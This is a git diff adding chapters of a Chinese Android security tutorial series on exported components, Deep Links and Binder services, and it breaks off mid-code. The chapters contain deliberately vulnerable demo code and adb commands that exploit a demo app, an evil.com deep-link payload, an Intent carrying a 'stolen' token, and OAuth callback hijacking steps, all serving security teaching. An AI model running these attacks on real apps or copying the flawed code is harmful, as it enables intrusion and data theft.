+在审计中,代码层校验的缺失是常见的漏洞成因。组件导出了,Manifest 没加权限,代码里也没检查调用者身份,三层防线全部缺失。 + +#### 演示:权限保护 vs 无保护 + +作为对比,同一个 Demo App 中有一个 SecureActivity,虽然 exported=true,但配置了系统签名级权限: + +```xml + +``` + +尝试从外部启动: + +```bash +adb shell am start -n com.demo.exportedcomponents/.SecureActivity +``` + +输出: + +```php +Exception occurred while executing 'start': +java.lang.SecurityException: Permission Denial: starting Intent { ... } + requires android.permission.MANAGE_USERS +``` + +系统直接拒绝了调用,抛出 SecurityException。这就是 signature 级别权限保护的效果——即使组件导出了,没有对应签名的 App 也无法访问。和后面第 4 节中那些无保护的组件形成了鲜明对比。 + +* * * + +## 4\. 四大组件的攻击面 + +### 4.1 Activity + +Activity 是用户界面组件,也是最常被导出的组件类型。 + +攻击入口:`startActivity()` / `startActivityForResult()` + +可控参数:Intent 中的 extras。Intent 是 Android 组件之间传递消息的载体,extras 是附带在 Intent 上的键值对数据(字符串、整数、Parcelable 对象等),由调用方自由填写。 + +典型攻击模式: + +| 模式 | 原理 | 危害 | +| --- | --- | --- | +| UI 内容注入 | Activity 从 Intent extras 读取字符串直接显示到 UI | 伪造系统弹窗,钓鱼 | +| Intent 重定向 | Activity 从 extras 取出嵌套 Intent 后调用 startActivity | 以受害 App 身份启动任意组件 | +| WebView URL 注入 | Activity 从 extras 读取 URL 传给 WebView.loadUrl() | 在受害 App 上下文中加载恶意网页 | +| 返回值劫持 | 恶意 App 通过 startActivityForResult 获取敏感返回数据 | 数据泄露 | + +下面用配套的演示 App(com.demo.exportedcomponents)来展示其中两种模式。安装 APK 后,可以直接用 ADB 命令复现。 + +#### 演示:UI 内容注入 + +```java +public class VulnDisplayActivity extends Activity { + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + showDialog(getIntent()); + } + + private void showDialog(Intent intent) { + String title = intent.getStringExtra("title"); + String message = intent.getStringExtra("message"); + if (title == null) title = "通知"; + if (message == null) message = "暂无内容"; + + new AlertDialog.Builder(this) + .setTitle(title) + .setMessage(message) + .setPositiveButton("确定", (d, w) -> finish()) + .setCancelable(false) + .show(); + } +} +``` + +对应的 Manifest 声明: + +```xml + +``` + +通过 ADB 注入伪造的"安全警告"弹窗: + +```bash +adb shell am start -n com.demo.exportedcomponents/.VulnDisplayActivity \ + --es title "安全警告" \ + --es message "您的账户存在异常登录,请立即修改密码" +``` + +效果如下,弹窗的标题和内容完全由攻击者控制,用户很难区分这是应用自身的提示还是外部注入的: + +![demo_ui_inject.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/02/attach-71a3e6ca368bd0635bf7fbedf6380bca002a8a4e.png) + +#### 演示:Intent 重定向 + +另一个常见模式是 Intent 重定向。Activity 从 extras 中取出目标组件信息后直接构造 Intent 并启动,攻击者可以借此以该 App 的身份启动任意组件,包括未导出的内部 Activity: + +```java +public class VulnRedirectActivity extends Activity { + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + + Intent nested = getIntent().getParcelableExtra("next_intent"); + if (nested != null) { + startActivity(nested); + finish(); + return; + } + + + String targetPkg = getIntent().getStringExtra("target_package"); + String targetCls = getIntent().getStringExtra("target_class"); + if (targetPkg != null && targetCls != null) { + Intent redirect = new Intent(); + redirect.setClassName(targetPkg, targetCls); + startActivity(redirect); + finish(); + return; + } + } +} +``` + +通过 ADB 利用这个漏洞启动未导出的 InternalSecretActivity(exported=false): + +```bash +adb shell am start -n com.demo.exportedcomponents/.VulnRedirectActivity \ + --es target_package "com.demo.exportedcomponents" \ + --es target_class "com.demo.exportedcomponents.InternalSecretActivity" +``` + +成功绕过 exported=false 限制,打开了内部机密页面: + +![demo_intent_redirect.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/02/attach-12cb869e7981b301789733781ff5b60729dbc0b9.png) + +### 4.2 Service + +Service 是后台服务组件,分为 Started Service 和 Bound Service 两种模式。 + +攻击入口:`startService()` / `bindService()` + +可控参数: + +- Started Service:Intent extras(同 Activity) +- Bound Service:AIDL 接口的所有方法参数。AIDL(Android Interface Definition Language)是 Android 定义跨进程调用接口的语言,类似于定义一个远程可调用的 Java 接口 + +典型攻击模式: + +| 模式 | 原理 | 危害 | +| --- | --- | --- | +| 未授权功能触发 | startService 触发敏感操作(如修改系统设置) | 权限提升 | +| AIDL 方法调用 | bindService 后通过 AIDL 接口调用敏感方法 | 数据泄露、功能滥用 | +| 系统服务未授权访问 | 通过 ServiceManager 获取系统 Binder 服务 | 绕过权限模型 | + +Bound Service 的攻击面比 Started Service 大得多。Started Service 只在启动时接收一次 Intent 数据,而 Bound Service 建立连接后,攻击者可以反复调用 AIDL 接口暴露的所有方法。如果这些方法内部没有做调用者校验,就等于把所有功能完全开放。 + +演示 App 中的 VulnService 展示了 Started Service 的未授权功能触发: + +```java +public class VulnService extends Service { + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + String filename = intent.getStringExtra("filename"); + String content = intent.getStringExtra("content"); + + if (filename != null && content != null) { + + File file = new File(getFilesDir(), filename); + FileWriter writer = new FileWriter(file); + writer.write(content); + writer.close(); + } + stopSelf(); + return START_NOT_STICKY; + } +} +``` + +Manifest 中无任何权限保护: + +```xml + +``` + +通过 ADB 向应用沙箱写入任意文件: + +```bash + +adb shell am startservice -n com.demo.exportedcomponents/.VulnService \ + --es filename "config.txt" \ + --es content "malicious_data_injected_by_attacker" + + +adb shell run-as com.demo.exportedcomponents \ + cat /data/data/com.demo.exportedcomponents/files/config.txt +``` + +输出: + +```php +malicious_data_injected_by_attacker +``` + +攻击者成功向应用私有目录写入了任意内容。实际场景中,这可能导致覆写应用配置文件、注入恶意数据等。 + +### 4.3 BroadcastReceiver + +BroadcastReceiver 接收广播消息,分为静态注册(Manifest)和动态注册(代码)两种。 + +攻击入口:`sendBroadcast()` / `sendOrderedBroadcast()` + +可控参数:Intent 中的 action、extras + +典型攻击模式: + +| 模式 | 方向 | 原理 | 危害 | +| --- | --- | --- | --- | +| 广播注入 | 攻击者到受害者 | 向导出的 Receiver 发送伪造广播 | 触发敏感逻辑 | +| 广播劫持 | 受害者到攻击者 | 注册高优先级 Receiver 拦截有序广播 | 数据窃取 | +| 隐式广播窃听 | 受害者到攻击者 | 监听未设置包名的隐式广播 | 信息泄露 | + +注意区分"广播注入"和"广播劫持"。前者是攻击者主动发送广播给受害 App,后者是攻击者被动拦截受害 App 发出的广播。两个方向都值得关注。 + +演示 App 中的 VulnReceiver 展示了广播注入的效果: + +```java +public class VulnReceiver extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) { + + String data = intent.getStringExtra("log_data"); + if (data != null) { + Log.i(TAG, "Received data: " + data); + Toast.makeText(context, + "收到广播数据: " + data, Toast.LENGTH_LONG).show(); + } + } +} +``` + +Manifest 中声明了 intent-filter 且 exported=true: + +```xml + + + + + +``` + +通过 ADB 发送伪造广播: + +```bash +adb shell am broadcast -n com.demo.exportedcomponents/.VulnReceiver \ + -a com.demo.exportedcomponents.ACTION_LOG \ + --es log_data "injected_by_attacker" +``` + +通过 logcat 确认 Receiver 收到了注入的数据: + +```bash +adb logcat -s VulnReceiver +``` + +输出: + +```php +I VulnReceiver: Received data: injected_by_attacker +``` + +应用直接信任并处理了攻击者注入的数据。实际场景中,这里的逻辑可能是执行命令、修改应用状态、或者触发其他敏感操作。 + +### 4.4 ContentProvider + +ContentProvider 提供结构化数据访问接口,是 Android 跨应用数据共享的标准方式。 + +攻击入口:`ContentResolver.query()` / `insert()` / `update()` / `delete()` / `openFile()` / `call()` + +可控参数:URI(统一资源标识符,格式为 `content://authority/path`,用于定位 Provider 中的数据)、selection、selectionArgs、projection、文件路径 + +典型攻击模式: + +| 模式 | 原理 | 危害 | +| --- | --- | --- | +| 数据泄露 | query() 无权限保护,直接返回敏感数据 | 读取用户数据 | +| SQL 注入 | selection/projection 参数直接拼接到 SQL | 读取任意表数据 | +| 路径遍历 | openFile() 未过滤 ../ 可读取沙箱外文件 | 任意文件读取 | +| call() 方法滥用 | call() 方法执行敏感操作且无权限校验 | 功能滥用 | + +ContentProvider 的 openFile() 路径遍历是一个比较经典的漏洞模式: + +```java + +@Override +public ParcelFileDescriptor openFile(Uri uri, String mode) { + String path = uri.getLastPathSegment(); + File file = new File(getContext().getFilesDir(), path); + + + return ParcelFileDescriptor.open(file, + ParcelFileDescriptor.MODE_READ_ONLY); +} +``` + +演示 App 中的 VulnProvider 展示了数据泄露的效果。query() 方法无权限保护,直接返回模拟的用户敏感数据: + +```xml + +``` + +通过 ADB 直接查询用户数据: + +```bash +adb shell content query \ + --uri content://com.demo.exportedcomponents.provider/users +``` + +输出: + +```php +Row: 0 id=1, username=zhang_san, email=zhangsan@example.com, phone=138xxxx1234 +Row: 1 id=2, username=li_si, email=lisi@example.com, phone=139xxxx5678 +Row: 2 id=3, username=wang_wu, email=wangwu@example.com, phone=137xxxx9012 +``` + +三条用户记录(用户名、邮箱、手机号)被完整返回,任何 App 都可以读取。 + +* * * + +## 5\. Android 版本演进对组件导出的影响 + +### 5.1 Android 12(API 31):强制声明 exported + +这是组件导出安全方面一次比较重要的改进。从 Android 12 开始,如果 App 的 targetSdkVersion >= 31,所有包含 intent-filter 的组件必须显式声明 android:exported 的值,否则无法安装。 + +这直接消除了"隐式导出"的问题。但需要注意: + +- 系统预装 App 可能不受此限制(由厂商控制 targetSdk) +- 已安装的旧版 App 不受影响(只在安装时检查) +- 开发者可能为了省事直接全部设为 exported=true + +### 5.2 Android 13+:更严格的 Intent 过滤 + +Android 13 引入了更严格的 Intent 匹配规则: + +- 动态注册的 BroadcastReceiver 默认不接收外部 App 的广播,除非注册时指定 `RECEIVER_EXPORTED` 标志 +- 对 PendingIntent(一种延迟执行的 Intent 包装,允许其他应用或系统在未来某个时刻代替你执行操作)的 mutability 要求更严格 + +```java + +context.registerReceiver(receiver, filter, Context.RECEIVER_NOT_EXPORTED); + +context.registerReceiver(receiver, filter, Context.RECEIVER_EXPORTED); +``` + +### 5.3 厂商定制 ROM 的额外攻击面 + +厂商定制的 Android ROM(如 HyperOS、EMUI、ColorOS 等)通常会在 AOSP 基础上添加大量自定义系统服务。这些服务有一个重要特点: + +它们通过 `ServiceManager.addService()` 注册到系统的服务管理器中,不受 Manifest exported 属性约束。ServiceManager 是 Android 系统中管理所有 Binder 服务的中央注册表,类似于一个全局的服务电话簿。 + +任何 App 都可以通过 `ServiceManager.getService("service_name")` 从这个"电话簿"中查到服务地址,获取 Binder 代理对象,然后调用其 AIDL 方法。安全性完全依赖于服务内部的代码层权限校验。如果开发者忘了加 checkCallingPermission() 或 checkCallingUid(),就是一个可利用的漏洞。 + +这类服务运行在 system\_server 进程中(UID 1000,Android 系统中权限最高的用户态进程),一旦存在未授权访问,影响面远大于普通 App 组件。 + +* * * + +## 6\. 总结 + +组件导出是 Android 安全的"门"。门开着不一定有问题,但门开着又没人看守,就是漏洞。 + +回顾一下: + +- intent-filter 会导致组件隐式导出(Android 12 之前) +- normal 级别的自定义权限保护力度有限 +- 四大组件各有不同的攻击模式,Activity 的 Intent 注入和 ContentProvider 的路径遍历比较常见 +- 厂商自定义系统服务是一个容易被忽视的攻击面 + +apk文件 +通过网盘分享的文件:导出.apk +链接: [https://pan.baidu.com/s/1AV9-lPs-3BtkNoN47GqhzQ?pwd=aubn](https://pan.baidu.com/s/1AV9-lPs-3BtkNoN47GqhzQ?pwd=aubn) 提取码: aubn diff --git "a/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\270\203\347\253\240_DeepLink\345\256\211\345\205\250.md" "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\270\203\347\253\240_DeepLink\345\256\211\345\205\250.md" new file mode 100644 index 000000000..023a581be --- /dev/null +++ "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\270\203\347\253\240_DeepLink\345\256\211\345\205\250.md" @@ -0,0 +1,310 @@ +# Android移动安全第七章_DeepLink安全 +> QIANXIN Team +> 来源:https://forum.butian.net/share/4874 + +> 系列目录: +> +> 1. Android 组件导出安全 +> 2. Android Intent 安全 +> 3. Android Binder 服务安全 +> 4. Android ContentProvider 安全 +> 5. Android WebView 安全 +> 6. Android UI 欺骗与钓鱼 +> 7. Android Deep Link 安全(本章) +> 8. Android 广播安全 +> 9. Android PendingIntent 安全 +> 10. Android 系统设置安全 +> 11. Android SSRF 与网络安全 +> 12. Android 加密与数据存储安全 +> 13. Android 认证与证书校验 +> 14. Android Zip Slip 路径遍历 +> 15. Android Fragment Injection +> 16. Android SELinux 与沙箱机制 + +* * * + +## 1\. 前言 + +用户在浏览器中点击一个链接,直接跳转到了某个 App 的特定页面——这就是 Deep Link(深度链接)。它让 Web 和 App 之间建立了连接,用户不需要手动打开 App 再找到对应功能。 + +Android 上实现 Deep Link 有三种方式: + +- 自定义 Scheme(如 `myapp://`):最早的方式,任何 App 都可以注册任意 scheme +- Intent URL(如 `intent://`):第二章讲过,通过 URL 编码一个完整的 Intent +- App Links(如 `https://example.com/path`):Android 6.0 引入,通过域名验证确保只有域名所有者的 App 能处理对应 URL + +三种方式的安全性差异很大。自定义 Scheme 没有任何归属验证,任何 App 都可以声称自己能处理 `myapp://`;App Links 通过域名验证建立了 URL 和 App 之间的绑定关系,安全性高得多。 + +本章围绕 Deep Link 的注册机制、参数处理、以及链接劫持展开。 + +* * * + +## 2\. 自定义 Scheme + +### 2.1 注册方式 + +App 通过在 Manifest 中声明 intent-filter 来注册自定义 Scheme: + +```xml + + + + + + + + +``` + +`BROWSABLE` category 表示这个 Activity 可以从浏览器中被唤起。注册后,用户在浏览器中点击 `myapp://open/path?key=value` 就会启动这个 Activity。 + +Activity 中通过 `getIntent().getData()` 获取 URL: + +```java +@Override +protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + Uri uri = getIntent().getData(); + if (uri != null) { + String path = uri.getPath(); + String key = uri.getQueryParameter("key"); + } +} +``` + +### 2.2 Scheme 劫持 + +自定义 Scheme 没有归属验证。如果两个 App 注册了相同的 scheme,系统会弹出选择器让用户选择由哪个 App 处理。攻击者可以注册与目标 App 相同的 scheme: + +```xml + + + + + + + + + +``` + +如果用户选择了攻击者的 App,URL 中携带的参数(可能包含 token、回调地址等)就被攻击者获取了。 + +在某些 Android 版本和厂商 ROM 上,如果只有一个 App 注册了某个 scheme,系统会直接跳转而不弹选择器。攻击者安装自己的 App 后,系统开始弹选择器,用户可能不会注意到多了一个选项。 + +### 2.3 OAuth 回调劫持 + +很多 App 使用 OAuth(开放授权协议,允许用户授权第三方 App 访问自己在某个服务上的数据,而不需要提供密码)进行第三方登录。OAuth 流程中,授权服务器会把授权码(authorization code)通过重定向发送到 App 注册的回调 URL。 + +如果回调 URL 使用自定义 Scheme(如 `myapp://oauth/callback?code=xxx`),攻击者注册相同的 scheme 就能截获授权码: + +1. 用户在目标 App 中发起 OAuth 登录 +2. 浏览器跳转到授权服务器,用户授权 +3. 授权服务器重定向到 `myapp://oauth/callback?code=AUTH_CODE` +4. 系统弹出选择器,如果用户选择了攻击者的 App,授权码被截获 +5. 攻击者用授权码换取 access token,获得用户账户的访问权限 + +这是自定义 Scheme 最常见的实际攻击场景。 + +* * * + +## 3\. App Links + +### 3.1 原理 + +App Links 是 Android 6.0(API 23)引入的,用于解决自定义 Scheme 的归属验证问题。它使用标准的 `https://` URL,通过域名验证确保只有域名所有者的 App 能处理对应 URL。 + +注册方式: + +```xml + + + + + + + + +``` + +`android:autoVerify="true"` 告诉系统在安装时验证域名归属。验证方式是:系统访问 `https://example.com/.well-known/assetlinks.json`,检查其中是否声明了当前 App 的包名和签名证书。 + +assetlinks.json 的内容: + +```json +[{ + "relation": ["delegate_permission/common.handle_all_urls"], + "target": { + "namespace": "android_app", + "package_name": "com.example.app", + "sha256_cert_fingerprints": ["AB:CD:EF:..."] + } +}] +``` + +验证通过后,用户点击 `https://example.com/app/xxx` 会直接跳转到 App,不弹选择器,其他 App 无法劫持。 + +### 3.2 验证失败的情况 + +App Links 的验证可能失败: + +- 服务器没有部署 assetlinks.json +- assetlinks.json 中的包名或证书指纹不匹配 +- 服务器返回非 200 状态码 +- 网络不可用(安装时无法访问服务器) + +验证失败后,App Links 退化为普通的 Deep Link——系统会弹出选择器,和自定义 Scheme 一样存在劫持风险。 + +### 3.3 验证状态检查 + +可以通过 ADB 检查 App Links 的验证状态: + +```bash +adb shell pm get-app-links com.example.app +``` + +输出中 `verified` 表示验证通过,`none` 表示未验证。 + +* * * + +## 4\. Deep Link 参数注入 + +### 4.1 URL 参数直接使用 + +很多 App 从 Deep Link URL 中读取参数后直接使用,没有做校验。常见的危险模式: + +#### 加载到 WebView + +```java +Uri uri = getIntent().getData(); +String url = uri.getQueryParameter("url"); +webView.loadUrl(url); +``` + +攻击者构造 `myapp://open?url=https://evil.com`,App 的 WebView 加载攻击者的页面。第五章讲过,如果 WebView 注册了 JS Bridge,攻击者的页面就能调用 App 的原生方法。 + +#### 跳转到内部组件 + +```java +Uri uri = getIntent().getData(); +String target = uri.getQueryParameter("target"); +Intent intent = new Intent(); +intent.setClassName(getPackageName(), target); +startActivity(intent); +``` + +攻击者构造 `myapp://open?target=com.example.app.InternalActivity`,绕过 exported=false 限制启动内部组件。这和第二章讲的 Intent 重定向本质相同,只是入口从 Intent extras 变成了 URL 参数。 + +#### 拼接到 SQL 或文件路径 + +```java +String id = uri.getQueryParameter("id"); +Cursor cursor = db.rawQuery("SELECT * FROM users WHERE id = " + id, null); +``` + +和第四章讲的 ContentProvider SQL 注入类似,只是注入点从 ContentResolver 参数变成了 URL 参数。 + +### 4.2 演示 + +演示 App(com.demo.deeplinksecurity)的 VulnDeepLinkActivity 注册了 `demoapp://` scheme,从 URL 参数中读取 `action` 和 `url`,根据 action 执行不同操作: + +- `action=webview`:把 url 参数加载到 WebView +- `action=navigate`:把 target 参数作为组件名跳转 + +```bash + +adb shell am start -a android.intent.action.VIEW \ + -d "demoapp://open?action=webview\&url=https://example.com" +``` + +App 的 WebView 加载了攻击者指定的 URL: + +![demo7_deeplink_webview.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/04/attach-903b4e474aec425539fa958d725360a0598eca6d.png) + +```bash + +adb shell am start -a android.intent.action.VIEW \ + -d "demoapp://open?action=navigate\&target=com.demo.deeplinksecurity.InternalSecretActivity" +``` + +绕过 exported=false 限制,启动了内部页面: + +## ![demo7_deeplink_navigate.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/04/attach-478f000250c116de370b5da2e80692499dfba7df.png) + +## 5\. Deep Link 与 Intent 的交互 + +### 5.1 getIntent().getData() 的来源 + +Activity 通过 `getIntent().getData()` 获取 Deep Link URL。但这个 Intent 不一定来自浏览器——任何 App 都可以构造一个带 data 的 Intent 发送给导出的 Activity: + +```java + +Intent intent = new Intent(Intent.ACTION_VIEW); +intent.setData(Uri.parse("myapp://open?token=stolen")); +intent.setPackage("com.target.app"); +startActivity(intent); +``` + +这意味着即使 Deep Link 没有从浏览器触发,攻击者仍然可以通过 Intent 直接传入恶意 URL。所以 Deep Link 的参数校验不能依赖"URL 来自可信的浏览器"这个假设。 + +### 5.2 intent:// URL 与 Deep Link 的结合 + +第二章讲过 intent:// URL 可以编码一个完整的 Intent。如果目标 App 的 WebView 支持 intent:// URL 处理,攻击者可以通过 Deep Link 先让 WebView 加载一个页面,页面中再通过 intent:// URL 触发更深层的攻击: + +```php +demoapp: +``` + +exploit.html 中: + +```html +click +``` + +这是一个两步攻击链:Deep Link → WebView → intent:// → 内部组件。 + +* * * + +## 6\. 版本演进 + +### 6.1 Android 6.0(API 23):App Links + +引入 App Links,通过 assetlinks.json 验证域名归属。验证通过后直接跳转,不弹选择器。 + +### 6.2 Android 12(API 31):App Links 行为变化 + +Android 12 对 App Links 做了调整: + +- 未通过验证的 App Links 不再在选择器中显示,而是直接在浏览器中打开 +- 用户可以在设置中手动管理每个 App 的链接处理行为 +- 系统对 assetlinks.json 的验证更严格 + +这个改动提高了 App Links 的安全性,但也意味着如果 App 的 assetlinks.json 配置有问题,Deep Link 会完全失效(直接在浏览器打开而不是跳转到 App)。 + +### 6.3 Android 12:intent-filter 必须声明 exported + +第一章提到过,Android 12 要求所有带 intent-filter 的组件必须显式声明 `android:exported`。Deep Link 的 Activity 必须设置 `exported="true"`,否则无法安装。这不是安全改进(Deep Link Activity 本来就需要导出),但让开发者更明确地意识到这些组件是对外暴露的。 + +* * * + +## 7\. 总结 + +Deep Link 把 URL 变成了 App 的入口。 + +回顾一下: + +- 自定义 Scheme 没有归属验证,任何 App 都可以注册相同的 scheme 进行劫持,OAuth 回调是常见的攻击目标 +- App Links 通过域名验证解决了劫持问题,但验证失败时会退化为普通 Deep Link +- URL 参数直接传给 WebView、组件跳转、SQL 查询都是常见的注入点 +- Deep Link 的参数不能假设来自可信来源,因为任何 App 都可以通过 Intent 直接传入 + +下一章讲 Android 广播安全。广播是 Android 的事件通知机制,第一章简单提过广播注入和劫持,下一章会深入展开——有序广播的优先级劫持、Sticky 广播的数据残留、以及 LocalBroadcastManager 的使用场景。 + +通过网盘分享的文件:deeplink安全演示.apk +链接: [https://pan.baidu.com/s/1OhxiQyFIazUmphxxBB3svA?pwd=95yg](https://pan.baidu.com/s/1OhxiQyFIazUmphxxBB3svA?pwd=95yg) 提取码: 95yg diff --git "a/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\270\211\347\253\240_Binder\346\234\215\345\212\241\345\256\211\345\205\250.md" "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\270\211\347\253\240_Binder\346\234\215\345\212\241\345\256\211\345\205\250.md" new file mode 100644 index 000000000..9e78b7444 --- /dev/null +++ "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\270\211\347\253\240_Binder\346\234\215\345\212\241\345\256\211\345\205\250.md" @@ -0,0 +1,477 @@ +# Android移动安全第三章_Binder服务安全 +> QIANXIN Team +> 来源:https://forum.butian.net/share/4831 + +> 系列目录: +> +> 1. Android 组件导出安全 +> 2. Android Intent 安全 +> 3. Android Binder 服务安全(本章) +> 4. Android ContentProvider 安全 +> 5. Android WebView 安全 +> 6. Android UI 欺骗与钓鱼 +> 7. Android Deep Link 安全 +> 8. Android 广播安全 +> 9. Android PendingIntent 安全 +> 10. Android 系统设置安全 +> 11. Android SSRF 与网络安全 +> 12. Android 加密与数据存储安全 +> 13. Android 认证与证书校验 +> 14. Android Zip Slip 路径遍历 +> 15. Android Fragment Injection +> 16. Android SELinux 与沙箱机制 + +* * * + +## 1\. 前言 + +Android 是一个多进程系统。每个 App 运行在自己的进程中,系统服务运行在 system\_server 进程中。system\_server 是 Android 中权限最高的用户态进程(UID 1000),ActivityManagerService、PackageManagerService 等系统服务都在这个进程里。进程之间的内存是隔离的,不能直接访问彼此的数据。 + +那 App 怎么调用系统功能?比如安装应用、获取位置、读取通知?答案是 Binder。 + +Binder 是 Android 的跨进程通信(IPC)机制。它不是 Linux 原生的,而是 Android 在内核中加入的一个驱动(/dev/binder),专门为 Android 的安全模型设计。App 想调用系统服务,就通过 Binder 发起一次跨进程调用,内核负责把请求从调用方进程传递到服务方进程,同时携带调用者的 UID(User ID,Android 为每个 App 分配的唯一用户标识)和 PID(Process ID,进程标识)信息。 + +从安全角度看,Binder 有两个特性: + +- 调用者身份不可伪造。UID 和 PID 由内核填入,应用层无法篡改 +- 权限检查是服务端的责任。内核只负责传递身份信息,检不检查、怎么检查,完全由服务端代码决定 + +第一个特性是安全的基础,第二个特性是漏洞的来源。如果服务端忘了检查调用者身份,任何 App 都能调用它的方法。 + +* * * + +## 2\. Binder 通信机制 + +### 2.1 整体架构 + +Binder 通信涉及四个角色: + +| 角色 | 说明 | 典型实例 | +| --- | --- | --- | +| Client | 发起调用的一方 | 普通 App | +| Server | 提供服务的一方 | system_server 中的系统服务 | +| ServiceManager | 服务注册表,负责服务的注册和查找 | servicemanager 进程 | +| Binder 驱动 | 内核模块,负责跨进程数据传输 | /dev/binder | + +一次典型的调用流程如下图所示: + +![binder_arch.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-bf26e1787d8410e78b1fcd8475fd778ab7fd189d.png) + +1. Server 启动时,通过 `ServiceManager.addService()` 注册服务 +2. Client 通过 `ServiceManager.getService()` 获取服务的 Binder 代理对象 +3. Client 调用代理对象的方法,Binder 驱动将请求(包括方法编号、参数、调用者 UID/PID)传递给 Server +4. Server 处理请求并返回结果,Binder 驱动将结果传回 Client + +ServiceManager 本身也是一个 Binder 服务,但它的 handle 固定为 0,所有进程都能直接访问。它相当于一个电话簿——不需要知道系统服务的进程地址,只需要知道服务名,就能通过 ServiceManager 查到对应的 Binder 引用。 + +### 2.2 AIDL 与 transaction code + +开发者通常不直接操作 Binder 驱动,而是通过 AIDL(Android Interface Definition Language,Android 接口定义语言)定义跨进程调用的接口。AIDL 类似于定义一个远程可调用的 Java 接口,编译器会自动生成两部分代码:Stub(服务端骨架,负责接收和分发请求)和 Proxy(客户端代理,负责封装和发送请求)。 + +一个简单的 AIDL 接口: + +```aidl +// IDeviceManager.aidl +interface IDeviceManager { + String getDeviceId(); // transaction code = 1 + void setDeviceName(String n); // transaction code = 2 + boolean resetDevice(); // transaction code = 3 +} +``` + +每个方法会被分配一个 transaction code(事务码),从 `FIRST_CALL_TRANSACTION`(值为 1)开始递增。Client 调用方法时,实际上是向 Binder 驱动发送一个包含 transaction code 和序列化参数的数据包。 + +这意味着即使没有 AIDL 文件,只要知道 transaction code 和参数格式,就可以通过 `service call` 命令直接调用服务方法: + +```bash + + + +adb shell service call clipboard 1 +``` + +### 2.3 Parcel:数据序列化 + +Binder 传输的数据通过 Parcel(包裹)对象序列化。Parcel 是一个二进制缓冲区,数据按顺序写入和读取: + +```java + +Parcel data = Parcel.obtain(); +data.writeInterfaceToken("com.example.IDeviceManager"); +data.writeString("new_device_name"); +mRemote.transact(2, data, reply, 0); + + +@Override +public boolean onTransact(int code, Parcel data, Parcel reply, int flags) { + switch (code) { + case 2: { + data.enforceInterface("com.example.IDeviceManager"); + String name = data.readString(); + this.setDeviceName(name); + reply.writeNoException(); + return true; + } + } + return super.onTransact(code, data, reply, flags); +} +``` + +`enforceInterface()` 会校验接口描述符是否匹配,防止把发给 A 服务的请求误发给 B 服务。但它不是安全检查——不会验证调用者身份。 + +* * * + +## 3\. 系统服务的注册与发现 + +### 3.1 AOSP 原生服务 + +Android 系统自带大量 Binder 服务,运行在 system\_server 进程中。通过 `service list` 可以查看当前设备上所有注册的服务: + +```bash +adb shell service list +``` + +输出(节选): + +```php +Found 287 services: +0 sip: [android.net.sip.ISipService] +1 phone: [com.android.internal.telephony.ITelephony] +2 isms: [com.android.internal.telephony.ISms] +... +50 activity: [android.app.IActivityManager] +51 package: [android.content.pm.IPackageManager] +52 clipboard: [android.content.IClipboard] +... +``` + +方括号中的是 AIDL 接口名,前面的字符串是服务名,也就是 `getService()` 的参数。 + +### 3.2 厂商自定义服务 + +厂商定制 ROM 会在 AOSP(Android Open Source Project,Android 开源项目)基础上添加自己的系统服务。这些服务通常以厂商前缀命名: + +```bash +adb shell service list | grep -i "miui\|xiaomi" +``` + +可能看到类似: + +```php +miui.mqsas.IMQSNative +miui.security.ISecurityManager +xiaomi.IGameBoosterService +``` + +这些服务和 AOSP 原生服务一样运行在 system\_server 中,拥有系统级权限。但它们不在 AOSP 的代码审查范围内,安全质量参差不齐。 + +### 3.3 服务注册方式 + +系统服务的注册通常在 system\_server 启动过程中完成: + +```java + +ServiceManager.addService("device_manager", new DeviceManagerService(context)); +``` + +注册后,任何进程都可以通过 ServiceManager 获取该服务的 Binder 代理: + +```java +IBinder binder = ServiceManager.getService("device_manager"); +IDeviceManager manager = IDeviceManager.Stub.asInterface(binder); +manager.getDeviceId(); +``` + +这里没有任何权限检查。`ServiceManager.getService()` 对所有进程开放,获取 Binder 代理不需要任何权限。安全检查只能发生在服务端的方法实现中。 + +* * * + +## 4\. 权限检查机制 + +### 4.1 调用者身份获取 + +Binder 驱动在传递调用请求时,会在内核层面记录调用者的 UID 和 PID。服务端通过以下 API 获取: + +```java +int callingUid = Binder.getCallingUid(); +int callingPid = Binder.getCallingPid(); +``` + +这两个值由内核填入,应用层无法伪造。 + +但有一个容易踩坑的地方:`Binder.getCallingUid()` 返回的是最近一次 Binder 调用的调用者 UID。如果服务端在处理请求的过程中又发起了另一个 Binder 调用(比如调用另一个系统服务),那么 `getCallingUid()` 的返回值会被覆盖为当前进程自己的 UID。 + +为了解决这个问题,Android 提供了 `clearCallingIdentity()` 和 `restoreCallingIdentity()`: + +```java +@Override +public void sensitiveMethod() { + + int callingUid = Binder.getCallingUid(); + + + if (checkPermission(callingUid) != GRANTED) { + throw new SecurityException("Permission denied"); + } + + + long token = Binder.clearCallingIdentity(); + try { + + doInternalWork(); + } finally { + + Binder.restoreCallingIdentity(token); + } +} +``` + +如果开发者在检查权限之前就调用了 `clearCallingIdentity()`,那 `getCallingUid()` 返回的就是 system\_server 自己的 UID(1000),权限检查就形同虚设了。 + +### 4.2 常见的权限检查方式 + +```java + +context.enforceCallingPermission( + "android.permission.MANAGE_USERS", + "Caller must hold MANAGE_USERS permission" +); + + +int uid = Binder.getCallingUid(); +if (uid >= Process.FIRST_APPLICATION_UID) { + throw new SecurityException("System only"); +} + + +int uid = Binder.getCallingUid(); +String[] packages = context.getPackageManager().getPackagesForUid(uid); +if (!Arrays.asList(packages).contains("com.android.settings")) { + throw new SecurityException("Only Settings app allowed"); +} + + +PackageInfo info = pm.getPackageInfo(callingPackage, 